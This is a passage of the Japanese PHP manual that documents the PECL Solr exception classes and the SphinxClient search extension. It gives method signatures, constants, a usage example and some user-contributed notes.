パラメータ

この関数にはパラメータはありません。

返り値

エラーがスローされた際の内部情報を含む配列を返します。エクステンション開発者によるデバッグのためだけに使われます。

User Contributed Notes

There are no user contributed notes for this page.


SolrClientException クラス

(PECL solr >= 0.9.2)

はじめに

クライアントからサーバーにリクエスト中にエラーがある際にスローされる例外。

クラス概要

SolrClientException extends SolrException {
/* 継承したプロパティ */
protected string $message ;
protected int $code ;
protected string $file ;
protected int $line ;
protected int $sourceline ;
protected string $sourcefile ;
protected string $zif_name ;
/* メソッド */
public getInternalInfo ( ) : array
/* 継承したメソッド */
final public Exception::getMessage ( ) : string
final public Exception::getPrevious ( ) : Exception
final public Exception::getCode ( ) : mixed
final public Exception::getFile ( ) : string
final public Exception::getLine ( ) : int
final public Exception::getTrace ( ) : array
final public Exception::getTraceAsString ( ) : string
public Exception::__toString ( ) : string
final private Exception::__clone ( ) : void
public SolrException::getInternalInfo ( ) : array
}

目次

  • SolrClientException::getInternalInfo — 例外がスローされた際の内部情報を返す

User Contributed Notes

There are no user contributed notes for this page.


例外がスローされた際の内部情報を返す

  • ≪ SolrClientException
  • SolrServerException ≫
  • PHP Manual
  • SolrClientException
  • 例外がスローされた際の内部情報を返す

SolrClientException::getInternalInfo

(PECL solr >= 0.9.2)

SolrClientException::getInternalInfo — 例外がスローされた際の内部情報を返す

説明

public SolrClientException::getInternalInfo ( ) : array

例外がスローされた際の内部情報を返します。

パラメータ

この関数にはパラメータはありません。

返り値

エラーがスローされた際の内部情報を含む配列を返します。エクステンション開発者によるデバッグのためだけに使われます。

User Contributed Notes

There are no user contributed notes for this page.


SolrServerException クラス

(PECL Solr >= 1.1.0, >=2.0.0)

はじめに

Solr サーバー自身によって生成されたエラーがあると、このオブジェクトがスローされます。

クラス概要

SolrServerException extends SolrException {
/* 継承したプロパティ */
protected string $message ;
protected int $code ;
protected string $file ;
protected int $line ;
protected int $sourceline ;
protected string $sourcefile ;
protected string $zif_name ;
/* メソッド */
public getInternalInfo ( ) : array
/* 継承したメソッド */
final public Exception::getMessage ( ) : string
final public Exception::getPrevious ( ) : Exception
final public Exception::getCode ( ) : mixed
final public Exception::getFile ( ) : string
final public Exception::getLine ( ) : int
final public Exception::getTrace ( ) : array
final public Exception::getTraceAsString ( ) : string
public Exception::__toString ( ) : string
final private Exception::__clone ( ) : void
public SolrException::getInternalInfo ( ) : array
}

目次

  • SolrServerException::getInternalInfo — 例外がスローされた際の内部情報を返す

User Contributed Notes

There are no user contributed notes for this page.


例外がスローされた際の内部情報を返す

  • ≪ SolrServerException
  • SolrIllegalArgumentException ≫
  • PHP Manual
  • SolrServerException
  • 例外がスローされた際の内部情報を返す

SolrServerException::getInternalInfo

(PECL solr >= 1.1.0, >=2.0.0)

SolrServerException::getInternalInfo — 例外がスローされた際の内部情報を返す

説明

public SolrServerException::getInternalInfo ( ) : array

例外がスローされた際の内部情報を返します。

パラメータ

この関数にはパラメータはありません。

返り値

エラーがスローされた際の内部情報を含む配列を返します。エクステンション開発者によるデバッグのためだけに使われます。

User Contributed Notes

There are no user contributed notes for this page.


SolrIllegalArgumentException クラス

(PECL solr >= 0.9.2)

はじめに

規則外の、または無効な引数がメソッドに渡されると、このオブジェクトがスローされます。

クラス概要

SolrIllegalArgumentException extends SolrException {
/* 継承したプロパティ */
protected string $message ;
protected int $code ;
protected string $file ;
protected int $line ;
protected int $sourceline ;
protected string $sourcefile ;
protected string $zif_name ;
/* メソッド */
public getInternalInfo ( ) : array
/* 継承したメソッド */
final public Exception::getMessage ( ) : string
final public Exception::getPrevious ( ) : Exception
final public Exception::getCode ( ) : mixed
final public Exception::getFile ( ) : string
final public Exception::getLine ( ) : int
final public Exception::getTrace ( ) : array
final public Exception::getTraceAsString ( ) : string
public Exception::__toString ( ) : string
final private Exception::__clone ( ) : void
public SolrException::getInternalInfo ( ) : array
}

目次

  • SolrIllegalArgumentException::getInternalInfo — 例外がスローされた際の内部情報を返す

User Contributed Notes

There are no user contributed notes for this page.


例外がスローされた際の内部情報を返す

  • ≪ SolrIllegalArgumentException
  • SolrIllegalOperationException ≫
  • PHP Manual
  • SolrIllegalArgumentException
  • 例外がスローされた際の内部情報を返す

SolrIllegalArgumentException::getInternalInfo

(PECL solr >= 0.9.2)

SolrIllegalArgumentException::getInternalInfo — 例外がスローされた際の内部情報を返す

説明

public SolrIllegalArgumentException::getInternalInfo ( ) : array

例外がスローされた際の内部情報を返します。

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

この関数にはパラメータはありません。

返り値

エラーがスローされた際の内部情報を含む配列を返します。エクステンション開発者によるデバッグのためだけに使われます。

User Contributed Notes

There are no user contributed notes for this page.


SolrIllegalOperationException クラス

(PECL solr >= 0.9.2)

はじめに

オブジェクトに対して規則外の、またはサポートされていない操作が実行されると、このオブジェクトがスローされます。

クラス概要

SolrIllegalOperationException extends SolrException {
/* 継承したプロパティ */
protected string $message ;
protected int $code ;
protected string $file ;
protected int $line ;
protected int $sourceline ;
protected string $sourcefile ;
protected string $zif_name ;
/* メソッド */
public getInternalInfo ( ) : array
/* 継承したメソッド */
final public Exception::getMessage ( ) : string
final public Exception::getPrevious ( ) : Exception
final public Exception::getCode ( ) : mixed
final public Exception::getFile ( ) : string
final public Exception::getLine ( ) : int
final public Exception::getTrace ( ) : array
final public Exception::getTraceAsString ( ) : string
public Exception::__toString ( ) : string
final private Exception::__clone ( ) : void
public SolrException::getInternalInfo ( ) : array
}

目次

  • SolrIllegalOperationException::getInternalInfo — 例外がスローされた際の内部情報を返す

User Contributed Notes

There are no user contributed notes for this page.


例外がスローされた際の内部情報を返す

  • ≪ SolrIllegalOperationException
  • SolrMissingMandatoryParameterException ≫
  • PHP Manual
  • SolrIllegalOperationException
  • 例外がスローされた際の内部情報を返す

SolrIllegalOperationException::getInternalInfo

(PECL solr >= 0.9.2)

SolrIllegalOperationException::getInternalInfo — 例外がスローされた際の内部情報を返す

説明

public SolrIllegalOperationException::getInternalInfo ( ) : array

例外がスローされた際の内部情報を返します。

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

この関数にはパラメータはありません。

返り値

エラーがスローされた際の内部情報を含む配列を返します。エクステンション開発者によるデバッグのためだけに使われます。

User Contributed Notes

There are no user contributed notes for this page.


The SolrMissingMandatoryParameterException class

(バージョン情報なし。おそらく Git 版にしか存在しないでしょう)

はじめに

クラス概要

SolrMissingMandatoryParameterException extends SolrException {
/* 継承したプロパティ */
protected string $message ;
protected int $code ;
protected string $file ;
protected int $line ;
protected int $sourceline ;
protected string $sourcefile ;
protected string $zif_name ;
/* 継承したメソッド */
final public Exception::getMessage ( ) : string
final public Exception::getPrevious ( ) : Exception
final public Exception::getCode ( ) : mixed
final public Exception::getFile ( ) : string
final public Exception::getLine ( ) : int
final public Exception::getTrace ( ) : array
final public Exception::getTraceAsString ( ) : string
public Exception::__toString ( ) : string
final private Exception::__clone ( ) : void
public SolrException::getInternalInfo ( ) : array
}

User Contributed Notes

There are no user contributed notes for this page.


Sphinx クライアント

  • はじめに
  • インストール/設定
    • 要件
    • インストール手順
    • 実行時設定
    • リソース型
  • 定義済み定数
  • 例
  • SphinxClient — SphinxClient クラス
    • SphinxClient::addQuery — マルチクエリバッチにクエリを追加する
    • SphinxClient::buildExcerpts — テキストの抜粋を作成する
    • SphinxClient::buildKeywords — キーワードをクエリから抽出する
    • SphinxClient::close — Closes previously opened persistent connection
    • SphinxClient::__construct — 新しい SphinxClient オブジェクトを作成する
    • SphinxClient::escapeString — 特殊文字をエスケープする
    • SphinxClient::getLastError — 直近のエラーメッセージを取得する
    • SphinxClient::getLastWarning — 直近の警告を取得する
    • SphinxClient::open — Opens persistent connection to the server
    • SphinxClient::query — Execute search query
    • SphinxClient::resetFilters — Clear all filters
    • SphinxClient::resetGroupBy — Clear all group-by settings
    • SphinxClient::runQueries — Run a batch of search queries
    • SphinxClient::setArrayResult — Change the format of result set array
    • SphinxClient::setConnectTimeout — Set connection timeout
    • SphinxClient::setFieldWeights — Set field weights
    • SphinxClient::setFilter — Add new integer values set filter
    • SphinxClient::setFilterFloatRange — Add new float range filter
    • SphinxClient::setFilterRange — Add new integer range filter
    • SphinxClient::setGeoAnchor — Set anchor point for a geosphere distance calculations
    • SphinxClient::setGroupBy — Set grouping attribute
    • SphinxClient::setGroupDistinct — Set attribute name for per-group distinct values count calculations
    • SphinxClient::setIDRange — Set a range of accepted document IDs
    • SphinxClient::setIndexWeights — Set per-index weights
    • SphinxClient::setLimits — Set offset and limit of the result set
    • SphinxClient::setMatchMode — Set full-text query matching mode
    • SphinxClient::setMaxQueryTime — Set maximum query time
    • SphinxClient::setOverride — Sets temporary per-document attribute value overrides
    • SphinxClient::setRankingMode — Set ranking mode
    • SphinxClient::setRetries — Set retry count and delay
    • SphinxClient::setSelect — Set select clause
    • SphinxClient::setServer — Set searchd host and port
    • SphinxClient::setSortMode — Set matches sorting mode
    • SphinxClient::status — Queries searchd status
    • SphinxClient::updateAttributes — Update document attributes

User Contributed Notes

There are no user contributed notes for this page.


はじめに

この拡張モジュールは、Sphinx サーチクライアントライブラリ用のバインディングです。 Sphinx はスタンドアロンのサーチエンジンです。 高速で動作し、大きなサイズにも対応した全文検索機能を他のアプリケーションに提供します。 Sphinx は、特に SQL データベースやスクリプト言語との親和性を考慮した設計となっています。 Sphinx およびそのクライアントライブラリは、どちらも » 公式サイト から取得できます。

User Contributed Notes

There are no user contributed notes for this page.


要件

PECL/sphinx は PHP 5.2.2 以降を必要とします。

User Contributed Notes

There are no user contributed notes for this page.


インストール手順

この PECL 拡張モジュールをインストールする方法は、 マニュアルの PECL 拡張モジュールのインストール という章にあります。 新規リリース・ダウンロード・ソースファイル・管理者情報・CHANGELOG といった関連する情報については、次の場所にあります。 » https://pecl.php.net/package/sphinx

phpize で生成された ./configure スクリプトで libsphinxclient のファイルをうまく見つけられない場合 (標準の場所以外にインストールした場合など) は、 ./configure --with-sphinx=$PREFIX のように指定しましょう。 $PREFIX は、libsphinxclient のインストール先です。

User Contributed Notes

There are no user contributed notes for this page.


定義済み定数

以下の定数が定義されています。 この関数の拡張モジュールが PHP 組み込みでコンパイルされているか、 実行時に動的にロードされている場合のみ使用可能です。

SEARCHD_OK (int)
SEARCHD_ERROR (int)
SEARCHD_RETRY (int)
SEARCHD_WARNING (int)
SPH_MATCH_ALL (int)
SPH_MATCH_ANY (int)
SPH_MATCH_PHRASE (int)
SPH_MATCH_BOOLEAN (int)
SPH_MATCH_EXTENDED (int)
SPH_MATCH_FULLSCAN (int)
SPH_MATCH_EXTENDED2 (int)
SPH_RANK_PROXIMITY_BM25 (int)
SPH_RANK_BM25 (int)
SPH_RANK_NONE (int)
SPH_RANK_WORDCOUNT (int)
SPH_SORT_RELEVANCE (int)
SPH_SORT_ATTR_DESC (int)
SPH_SORT_ATTR_ASC (int)
SPH_SORT_TIME_SEGMENTS (int)
SPH_SORT_EXTENDED (int)
SPH_SORT_EXPR (int)
SPH_FILTER_VALUES (int)
SPH_FILTER_RANGE (int)
SPH_FILTER_FLOATRANGE (int)
SPH_ATTR_INTEGER (int)
SPH_ATTR_TIMESTAMP (int)
SPH_ATTR_ORDINAL (int)
SPH_ATTR_BOOL (int)
SPH_ATTR_FLOAT (int)
SPH_ATTR_MULTI (int)
SPH_GROUPBY_DAY (int)
SPH_GROUPBY_WEEK (int)
SPH_GROUPBY_MONTH (int)
SPH_GROUPBY_YEAR (int)
SPH_GROUPBY_ATTR (int)
SPH_GROUPBY_ATTRPAIR (int)

User Contributed Notes

There are no user contributed notes for this page.


例

例1 基本的な使用例

<?php

$s = new SphinxClient;
$s->setServer("localhost", 6712);
$s->setMatchMode(SPH_MATCH_ANY);
$s->setMaxQueryTime(3);

$result = $s->query("test");

var_dump($result);

?>

上の例の出力は、 たとえば以下のようになります。

array(10) {
  ["error"]=>
  string(0) ""
  ["warning"]=>
  string(0) ""
  ["status"]=>
  int(0)
  ["fields"]=>
  array(3) {
    [0]=>
    string(7) "subject"
    [1]=>
    string(4) "body"
    [2]=>
    string(6) "author"
  }
  ["attrs"]=>
  array(0) {
  }
  ["matches"]=>
  array(1) {
    [3]=>
    array(2) {
      ["weight"]=>
      int(1)
      ["attrs"]=>
      array(0) {
      }
    }
  }
  ["total"]=>
  int(1)
  ["total_found"]=>
  int(1)
  ["time"]=>
  float(0)
  ["words"]=>
  array(1) {
    ["to"]=>
    array(2) {
      ["docs"]=>
      int(1)
      ["hits"]=>
      int(1)
    }
  }
}

User Contributed Notes

iradu at unix-world dot org 09-Oct-2015 07:18
SphinxQL-Query-Builder is an ORM for Sphinx.

ORM generally is for dumb developers that have no ability to write SQL complex queries.
More, ORMs are covering just 10...15% of the SQL syntax.

So, my advice, don't go with ORM in any case ...
Use the SQL syntax always:
http://sphinxsearch.com/docs/current.html#sphinxql-reference

PS:
I have seen many ORMs like Doctrine or others, but they are a joke comparing with the SQL ;)
mesaque dot silva at apiki dot com 22-Sep-2015 05:16
it is deprecated, use instead SphinxQL-Query-Builder


SphinxClient クラス

(PECL sphinx >= 0.1.0)

はじめに

SphinxClient クラスは、Sphinx へのオブジェクト指向のインターフェイスを提供します。

クラス概要

SphinxClient {
/* メソッド */
public addQuery ( string $query , string $index = "*" , string $comment = "" ) : int
public buildExcerpts ( array $docs , string $index , string $words , array $opts = ? ) : array|false
public buildKeywords ( string $query , string $index , bool $hits ) : array
public close ( ) : bool
public __construct ( )
public escapeString ( string $string ) : string
public getLastError ( ) : string
public getLastWarning ( ) : string
public open ( ) : bool
public query ( string $query , string $index = "*" , string $comment = "" ) : array
public resetFilters ( ) : void
public resetGroupBy ( ) : void
public runQueries ( ) : array
public setArrayResult ( bool $array_result = false ) : bool
public setConnectTimeout ( float $timeout ) : bool
public setFieldWeights ( array $weights ) : bool
public setFilter ( string $attribute , array $values , bool $exclude = false ) : bool
public setFilterFloatRange ( string $attribute , float $min , float $max , bool $exclude = false ) : bool
public setFilterRange ( string $attribute , int $min , int $max , bool $exclude = false ) : bool
public setGeoAnchor ( string $attrlat , string $attrlong , float $latitude , float $longitude ) : bool
public setGroupBy ( string $attribute , int $func , string $groupsort = "@group desc" ) : bool
public setGroupDistinct ( string $attribute ) : bool
public setIDRange ( int $min , int $max ) : bool
public setIndexWeights ( array $weights ) : bool
public setLimits ( int $offset , int $limit , int $max_matches = 0 , int $cutoff = 0 ) : bool
public setMatchMode ( int $mode ) : bool
public setMaxQueryTime ( int $qtime ) : bool
public setOverride ( string $attribute , int $type , array $values ) : bool
public setRankingMode ( int $ranker ) : bool
public setRetries ( int $count , int $delay = 0 ) : bool
public setSelect ( string $clause ) : bool
public setServer ( string $server , int $port ) : bool
public setSortMode ( int $mode , string $sortby = ? ) : bool
public status ( ) : array
public updateAttributes ( string $index , array $attributes , array $values , bool $mva = false ) : int
}

目次

  • SphinxClient::addQuery — マルチクエリバッチにクエリを追加する
  • SphinxClient::buildExcerpts — テキストの抜粋を作成する
  • SphinxClient::buildKeywords — キーワードをクエリから抽出する
  • SphinxClient::close — Closes previously opened persistent connection
  • SphinxClient::__construct — 新しい SphinxClient オブジェクトを作成する
  • SphinxClient::escapeString — 特殊文字をエスケープする
  • SphinxClient::getLastError — 直近のエラーメッセージを取得する
  • SphinxClient::getLastWarning — 直近の警告を取得する
  • SphinxClient::open — Opens persistent connection to the server
  • SphinxClient::query — Execute search query
  • SphinxClient::resetFilters — Clear all filters
  • SphinxClient::resetGroupBy — Clear all group-by settings
  • SphinxClient::runQueries — Run a batch of search queries
  • SphinxClient::setArrayResult — Change the format of result set array
  • SphinxClient::setConnectTimeout — Set connection timeout
  • SphinxClient::setFieldWeights — Set field weights
  • SphinxClient::setFilter — Add new integer values set filter
  • SphinxClient::setFilterFloatRange — Add new float range filter
  • SphinxClient::setFilterRange — Add new integer range filter
  • SphinxClient::setGeoAnchor — Set anchor point for a geosphere distance calculations
  • SphinxClient::setGroupBy — Set grouping attribute
  • SphinxClient::setGroupDistinct — Set attribute name for per-group distinct values count calculations
  • SphinxClient::setIDRange — Set a range of accepted document IDs
  • SphinxClient::setIndexWeights — Set per-index weights
  • SphinxClient::setLimits — Set offset and limit of the result set
  • SphinxClient::setMatchMode — Set full-text query matching mode
  • SphinxClient::setMaxQueryTime — Set maximum query time
  • SphinxClient::setOverride — Sets temporary per-document attribute value overrides
  • SphinxClient::setRankingMode — Set ranking mode
  • SphinxClient::setRetries — Set retry count and delay
  • SphinxClient::setSelect — Set select clause
  • SphinxClient::setServer — Set searchd host and port
  • SphinxClient::setSortMode — Set matches sorting mode
  • SphinxClient::status — Queries searchd status
  • SphinxClient::updateAttributes — Update document attributes

User Contributed Notes

There are no user contributed notes for this page.


マルチクエリバッチにクエリを追加する

  • ≪ SphinxClient
  • SphinxClient::buildExcerpts ≫
  • PHP Manual
  • SphinxClient
  • マルチクエリバッチにクエリを追加する

SphinxClient::addQuery

(PECL sphinx >= 0.1.0)

SphinxClient::addQuery — マルチクエリバッチにクエリを追加する

説明

public SphinxClient::addQuery ( string $query , string $index = "*" , string $comment = "" ) : int

現在の設定で、クエリをマルチクエリバッチに追加します。 このメソッドは現在の設定 (ソート、フィルタリング、グループ化など) には一切影響をおよぼしません。

パラメータ

query

クエリ文字列。

index

インデックス名。

comment

返り値

SphinxClient::runQueries が返す結果配列のインデックス、 あるいはエラー時に false を返します。

参考

  • SphinxClient::runQueries
  • SphinxClient::query

User Contributed Notes

There are no user contributed notes for this page.


テキストの抜粋を作成する

  • ≪ SphinxClient::addQuery
  • SphinxClient::buildKeywords ≫
  • PHP Manual
  • SphinxClient
  • テキストの抜粋を作成する

SphinxClient::buildExcerpts

(PECL sphinx >= 0.1.0)

SphinxClient::buildExcerpts — テキストの抜粋を作成する

説明

public SphinxClient::buildExcerpts ( array $docs , string $index , string $words , array $opts = ? ) : array|false

searchd に接続し、指定したドキュメントの抜粋を作成するよう要求し、 その結果を返します。

パラメータ

docs

ドキュメントの内容を含む文字列の配列。

index

インデックスの名前。

words

強調させるキーワード。

opts

追加の強調オプション (以下を参照ください) の連想配列。

強調オプション
オプション | 説明
"before_match" | マッチしたキーワードの前に挿入する文字列。デフォルトは "<b>"
"after_match" | マッチしたキーワードの後に挿入する文字列。デフォルトは "</b>"
"chunk_separator" | 抜粋部に挿入する文字列 (パッセージ)。デフォルトは " ... "
"limit" | 抜粋部の最大サイズをシンボル (コードポイント) 単位で指定。デフォルトは 256
"around" | マッチしたキーワードの前後にどれだけの単語を取り出すか。デフォルトは 5。
"exact_phrase" | フレーズに完全に一致する部分のみを強調するか、それとも各キーワードに一致した部分を強調するか。 デフォルトは false
"single_passage" | 単一のもっともよいパッセージのみを取り出すかどうか。デフォルトは false

返り値

成功した場合に抜粋部の配列、失敗した場合に false を返します。

User Contributed Notes

There are no user contributed notes for this page.


キーワードをクエリから抽出する

  • ≪ SphinxClient::buildExcerpts
  • SphinxClient::close ≫
  • PHP Manual
  • SphinxClient
  • キーワードをクエリから抽出する

SphinxClient::buildKeywords

(PECL sphinx >= 0.1.0)

SphinxClient::buildKeywords — キーワードをクエリから抽出する

説明

public SphinxClient::buildKeywords ( string $query , string $index , bool $hits ) : array

query からキーワードを抽出します。 index で、トークナイザ設定 およびオプションでキーワード単位の出現統計情報を指定します。

パラメータ

query

キーワードを抽出するクエリ。

index

トークン化の設定とキーワード出現統計情報を取得するインデックス。

hits

キーワード統計情報の生成を有効/無効にするフラグ。

返り値

キーワード単位の情報を含む連想配列の配列を返します。

User Contributed Notes

There are no user contributed notes for this page.


Closes previously opened persistent connection

  • ≪ SphinxClient::buildKeywords
  • SphinxClient::__construct ≫
  • PHP Manual
  • SphinxClient
  • Closes previously opened persistent connection

SphinxClient::close

(PECL sphinx >= 1.0.3)

SphinxClient::close — Closes previously opened persistent connection

説明

public SphinxClient::close ( ) : bool

Closes previously opened persistent connection.

パラメータ

この関数にはパラメータはありません。

変更履歴

PECL/sphinx バージョン | 説明
PECL sphinx 1.0.3 | Added SphinxClient::close(), available only if compiled with libsphinxclient >= 0.9.9.

返り値

成功した場合に true を、失敗した場合に false を返します。

参考

  • SphinxClient::open

User Contributed Notes

There are no user contributed notes for this page.


新しい SphinxClient オブジェクトを作成する

  • ≪ SphinxClient::close
  • SphinxClient::escapeString ≫
  • PHP Manual
  • SphinxClient
  • 新しい SphinxClient オブジェクトを作成する

SphinxClient::__construct

(PECL sphinx >= 0.1.0)

SphinxClient::__construct — 新しい SphinxClient オブジェクトを作成する

説明

public SphinxClient::__construct ( )

新しい SphinxClient オブジェクトを作成します。

パラメータ

この関数にはパラメータはありません。

User Contributed Notes

There are no user contributed notes for this page.


特殊文字をエスケープする

  • ≪ SphinxClient::__construct
  • SphinxClient::getLastError ≫
  • PHP Manual
  • SphinxClient
  • 特殊文字をエスケープする

SphinxClient::escapeString

(PECL sphinx >= 0.1.0)

SphinxClient::escapeString — 特殊文字をエスケープする

説明

public SphinxClient::escapeString ( string $string ) : string

クエリ言語パーサが特殊文字を解釈する文字をエスケープします。

パラメータ

string

エスケープする文字列。

返り値

エスケープした文字列を返します。

User Contributed Notes

xxxbunker dot com 14-Mar-2010 08:12
according to http://www.sphinxsearch.com/forum/view.html?id=5225:

this function doesn't really do what one would expect (mysql_real_escape_string style) and is more meant to escape individual keywords...

my experience it works better to manually escape reserved characters, for example:

<?php
$string='make big $ online';

$escaped=str_replace('$','\\$',$string);
?>


直近のエラーメッセージを取得する

  • ≪ SphinxClient::escapeString
  • SphinxClient::getLastWarning ≫
  • PHP Manual
  • SphinxClient
  • 直近のエラーメッセージを取得する

SphinxClient::getLastError

(PECL sphinx >= 0.1.0)

SphinxClient::getLastError — 直近のエラーメッセージを取得する

説明

public SphinxClient::getLastError ( ) : string

直近のエラーメッセージ文字列を返します。直近の API コールでエラーが発生していない場合は空文字列を返します。 このメソッドはエラーメッセージをリセットしません。つまり複数回コールしても結果は変わりません。

パラメータ

この関数にはパラメータはありません。

返り値

直近のエラーメッセージを返します。 エラーが存在しない場合は空文字列を返します。

参考

  • SphinxClient::getLastWarning

User Contributed Notes

miro dot wikgren at w3 dot fi 05-Sep-2014 02:21
Note that getLastError() doesn't work if you run multiple queries with runQueries(). It doesn't return any error, even if one or several (or all) of the queries failed.


直近の警告を取得する

  • ≪ SphinxClient::getLastError
  • SphinxClient::open ≫
  • PHP Manual
  • SphinxClient
  • 直近の警告を取得する

SphinxClient::getLastWarning

(PECL sphinx >= 0.1.0)

SphinxClient::getLastWarning — 直近の警告を取得する

説明

public SphinxClient::getLastWarning ( ) : string

直近の警告メッセージを返します。直近の API コールで警告が発生していない場合は空文字列を返します。 このメソッドは警告をリセットしません。つまり複数回コールしても結果は変わりません。

パラメータ

この関数にはパラメータはありません。

返り値

直近の警告メッセージを返します。 警告が存在しない場合は空文字列を返します。

参考

  • SphinxClient::getLastError

User Contributed Notes

There are no user contributed notes for this page.


Opens persistent connection to the server

  • ≪ SphinxClient::getLastWarning
  • SphinxClient::query ≫
  • PHP Manual
  • SphinxClient
  • Opens persistent connection to the server

SphinxClient::open

(PECL sphinx >= 1.0.3)

SphinxClient::open — Opens persistent connection to the server

説明

public SphinxClient::open ( ) : bool

Opens persistent connection to the server.

パラメータ

この関数にはパラメータはありません。

変更履歴

PECL/sphinx バージョン | 説明
PECL sphinx 1.0.3 | Added SphinxClient::open(), available only if compiled with libsphinxclient >= 0.9.9.

返り値

成功した場合に true を、失敗した場合に false を返します。

参考

  • SphinxClient::close

User Contributed Notes

There are no user contributed notes for this page.


Execute search query

  • ≪ SphinxClient::open
  • SphinxClient::resetFilters ≫
  • PHP Manual
  • SphinxClient
  • Execute search query

SphinxClient::query

(PECL sphinx >= 0.1.0)

SphinxClient::query — Execute search query

説明

public SphinxClient::query ( string $query , string $index = "*" , string $comment = "" ) : array

Connects to searchd server, runs the given search query with the current settings, obtains and returns the result set.

パラメータ

query

Query string.

index

An index name (or names).

comment

返り値

On success, SphinxClient::query() returns a list of found matches and additional per-query statistics. The result set is a hash utilize other structures instead of hash) with the following keys and values:

Result set structure
Key | Value description
"matches" | An array with found document IDs as keys and their weight and attributes values as values
"total" | Total number of matches found and retrieved (depends on your settings)
"total_found" | Total number of found documents matching the query
"words" | An array with words (case-folded and stemmed) as keys and per-word statistics as values
"error" | Query error message reported by searchd
"warning" | Query warning reported by searchd

参考

  • SphinxClient::runQueries
  • SphinxClient::addQuery

User Contributed Notes

design dot ber at gmail dot com 12-Sep-2015 05:26
You can limit the search to certain indexes separated by anything other than letters, numbers, underscores, and dashes.

<?php
// All valid
$client->Query('test', 'main delta');
$client->Query('test', 'main;delta');
$client->Query('test', 'main, delta');
$client->Query('test', 'main:delta');
?>
moosh at php dot net 14-Feb-2011 03:35
public array SphinxClient::query ( string $query [, string $index = "*" [, string $comment = "" ]] )

If you add a value for comment, you can retrieve them in sphinx query log.
php at senz dot su 15-Sep-2010 07:54
There is also a "status" key showing in what status query has ended.
Here are codes, taken from searchd.cpp:

<?php
/// known status return codes
enum SearchdStatus_e
{
        SEARCHD_OK              = 0,    ///< general success, command-specific reply follows
        SEARCHD_ERROR   = 1,    ///< general failure, error message follows
        SEARCHD_RETRY   = 2,    ///< temporary failure, error message follows, client should retry later
        SEARCHD_WARNING = 3             ///< general success, warning message and command-specific reply follow
};
?>
fkoehl at gmail dot com 11-Dec-2008 08:16
It appears that Query() (or the Sphinx program in general) does have some kind of limit imposed on the maximum length of a query submission. Stumbled across this limitation when trying to perform some searches based on content from user-submitted e-mails.

In looking at the returned array, the 'words' portion only accounts for the first 8 or 9 words of the long query. I'm assuming that the rest of the string is being truncated. The number of accepted words appears to change based on the total length of the words. Just a heads-up.


Clear all filters

  • ≪ SphinxClient::query
  • SphinxClient::resetGroupBy ≫
  • PHP Manual
  • SphinxClient
  • Clear all filters

SphinxClient::resetFilters

(PECL sphinx >= 0.1.0)

SphinxClient::resetFilters — Clear all filters

説明

public SphinxClient::resetFilters ( ) : void

Clears all currently set filters. This call is normally required when using multi-queries. You might want to set different filters for different queries in the batch. To do that, you should call SphinxClient::resetFilters() and add new filters using the respective calls.

返り値

値を返しません。

参考

  • SphinxClient::resetGroupBy

User Contributed Notes

There are no user contributed notes for this page.


Clear all group-by settings

  • ≪ SphinxClient::resetFilters
  • SphinxClient::runQueries ≫
  • PHP Manual
  • SphinxClient
  • Clear all group-by settings

SphinxClient::resetGroupBy

(PECL sphinx >= 0.1.0)

SphinxClient::resetGroupBy — Clear all group-by settings

説明

public SphinxClient::resetGroupBy ( ) : void

Clears all currently group-by settings, and disables group-by. This call is normally required only when using multi-queries.

返り値

値を返しません。

参考

  • SphinxClient::resetGroupBy

User Contributed Notes

There are no user contributed notes for this page.


Run a batch of search queries

  • ≪ SphinxClient::resetGroupBy
  • SphinxClient::setArrayResult ≫
  • PHP Manual
  • SphinxClient
  • Run a batch of search queries

SphinxClient::runQueries

(PECL sphinx >= 0.1.0)

SphinxClient::runQueries — Run a batch of search queries

説明

public SphinxClient::runQueries ( ) : array

Connects to searchd, runs a batch of all queries added using SphinxClient::addQuery, obtains and returns the result sets.

返り値

Returns false on failure and array of result sets on success.

参考

  • SphinxClient::addQuery
  • SphinxClient::query

User Contributed Notes

There are no user contributed notes for this page.


Change the format of result set array

  • ≪ SphinxClient::runQueries
  • SphinxClient::setConnectTimeout ≫
  • PHP Manual
  • SphinxClient
  • Change the format of result set array

SphinxClient::setArrayResult

(PECL sphinx >= 0.1.0)

SphinxClient::setArrayResult — Change the format of result set array

説明

public SphinxClient::setArrayResult ( bool $array_result = false ) : bool

Controls the format of search results set arrays (whether matches should be returned as an array or a hash).

パラメータ

array_result

If array_result is false, matches are returned as a hash with document IDs as keys, and other information (weight, attributes) as values. If array_result is true, matches are returned as a plain array with complete per-match information including document IDs.

返り値

Always returns true.

User Contributed Notes

There are no user contributed notes for this page.


Set connection timeout

  • ≪ SphinxClient::setArrayResult
  • SphinxClient::setFieldWeights ≫
  • PHP Manual
  • SphinxClient
  • Set connection timeout

SphinxClient::setConnectTimeout

(PECL sphinx >= 0.1.0)

SphinxClient::setConnectTimeout — Set connection timeout

説明

public SphinxClient::setConnectTimeout ( float $timeout ) : bool

Sets connection timeout (in seconds) for searchd connection.

パラメータ

timeout

Timeout in seconds.

返り値

成功した場合に true を、失敗した場合に false を返します。

参考

  • SphinxClient::setMaxQueryTime

User Contributed Notes

There are no user contributed notes for this page.


Set field weights

  • ≪ SphinxClient::setConnectTimeout
  • SphinxClient::setFilter ≫
  • PHP Manual
  • SphinxClient
  • Set field weights

SphinxClient::setFieldWeights

(PECL sphinx >= 0.1.0)

SphinxClient::setFieldWeights — Set field weights

説明

public SphinxClient::setFieldWeights ( array $weights ) : bool

Binds per-field weights by name.

Match ranking can be affected by per-field weights. See » Sphinx documentation for an explanation on how phrase proximity ranking is affected. This call lets you specify non-default weights for full-text fields.

The weights must be positive 32-bit integers, so be careful not to hit 32-bit integer maximum. The final weight is a 32-bit integer too. Default weight value is 1. Unknown field names are silently ignored.

パラメータ

weights

Associative array of field names and field weights.

返り値

成功した場合に true を、失敗した場合に false を返します。

参考

  • SphinxClient::setIndexWeights

User Contributed Notes

george dot oslobanu at gmail dot com 01-Aug-2013 02:29
although the specs (both php & sphinx manuals) states that field weight should be positive integer, values lower than 1 (0 for example) would not work. Found this on a blog and i hope this will help you ...


Add new integer values set filter

  • ≪ SphinxClient::setFieldWeights
  • SphinxClient::setFilterFloatRange ≫
  • PHP Manual
  • SphinxClient
  • Add new integer values set filter

SphinxClient::setFilter

(PECL sphinx >= 0.1.0)

SphinxClient::setFilter — Add new integer values set filter

説明

public SphinxClient::setFilter ( string $attribute , array $values , bool $exclude = false ) : bool

Adds new integer values set filter to the existing list of filters.
